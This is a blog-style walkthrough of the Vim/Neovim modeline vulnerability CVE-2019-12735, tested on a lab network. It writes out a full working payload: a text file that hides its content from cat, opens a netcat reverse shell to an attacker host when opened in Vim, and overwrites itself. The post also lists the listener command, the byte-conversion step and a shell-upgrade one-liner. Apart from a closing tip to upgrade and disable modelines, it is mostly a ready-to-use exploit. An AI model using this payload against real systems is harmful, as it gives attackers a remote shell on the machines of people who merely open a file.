If you haven't seen it already, CVE-2019-12735 was recently released and allows for arbitrary code execution in vim and neovim. The vulnerability centers around the modelines feature of vim, which allows customization of the editor on a per file basis. It was discovered by Arminius and detailed on his github.

In his github doc, he details two PoCs for exploiting the vulnerability. The first is a basic modeline entry which runs uname when you open the affected file. The second PoC is a bit more interesting, as it allows you to create a reverse shell to a selected target, obfuscates itself from normal examination with cat, and overwrites itself after running (to hide its tracks.) The exact command as listed in PoC 2 wasn't working for me, so I crafted a variation which I will demonstrate here using two machines on a test network.

Attacker's Machine

To simulate an attacker's machine, I quickly setup a Kali box with the IP After booting, we can open a terminal and launch a basic listener for the reverse shell:

root@kali:~# nc -vlp 9999
listening on [any] 9999 ...

Target Machine

Our second machine is a Debian 9 box running vim 8.0. By default, Debian actually disables modelines, which is great for security (other distributions like Fedora will have this on by default, however.) We will need to enable this feature to demonstrate our PoC, so just add the appropriate line to your .vimrc.

ninja@sandbox:~$ echo 'set modeline' >> ~/.vimrc

Preparing the attack

The problem with poc2 stemmed largely from superfluous escaping which seems to have been in Arminius' doc. I removed that, adjusted the target of the reverse shell, and replaced the pretext message. This left us with the following:

\x1b[?7l\x1bSUnmalicious content to read.\x1b:silent! w | call system('nohup nc 9999 -e /bin/sh &') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails('set\ fde=x\ \|\ source\!\ \%') fdl=0: \x16\x1b[1G\x16\x1b[KUnmalicious content to read."\x16\x1b[D \n

Next, let's dump this into a file. We can easily do this with a heredoc in bash:

root@kali:~# cat << EOF > tmp
\x1b[?7l\x1bSUnmalicious content to read.\x1b:silent! w | call system('nohup nc 9999 -e /bin/sh &') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails('set\ fde=x\ \|\ source\!\ \%') fdl=0: \x16\x1b[1G\x16\x1b[KUnmalicious content to read."\x16\x1b[D \n

We just need to transform the hex codes in this temp file into the actual bytes we want. If you are wondering why...

Modern day terminals are emulating serial terminals of the past. There were many different manufacturers and models, each with their own control languages. Some popular variants included VT52, VT100, VT220, Tektronix 4010, etc. On Linux based systems, xterm-256color is a custom terminal emulation which collates many of these variants into a singular monolithic standard. Usually, these control sequences are defined with ANSI escape codes. You will have the escape byte (0x1b in hex) followed by a combination of bytes which define the action. Using these codes, we can instruct the terminal to do various things, like switching display modes, moving the cursor, and even sending keystrokes. In order for this attack to work, we need to convert character sequences like \x1b into the control language bytes they represent.

Here, we use our standard Unix echo command to do this transformation:

root@kali:~# echo -e $(<tmp) > poc2.txt

The attack

Now we have our malicious text file. Distribute this to our target machine (I'll leave that as an exercise to the reader.) We can examine the file using cat:

c@sandbox:~$ cat poc2.txt
Unmalicious content to read.

And now, open the file with vim:

c@sandbox:~$ vim poc2.txt

On the listener, we should now see something like this:

root@kali:~# nc -vlp 9999
listening on [any] 9999 ... inverse host lookup failed: Unknown host
connect to [] from (UNKNOWN) [] 53982

You can easily test your shell from the attacking machine:

uname -a
Linux sandbox 4.9.0-3-amd64 #1 SMP Debian 4.9.30-2+deb9u5 (2017-09-19) x86_64 GNU/Linux

You should probably upgrade your shell to get a TTY before you do any real reconnaissance:

python -c 'import pty; pty.spawn("/bin/bash")'

As you can see, this is incredibly easy, so make sure you upgrade vim/neovim on all of your machine. I'd also heavily recommend disabling modeline in your vimrc.

set nomodeline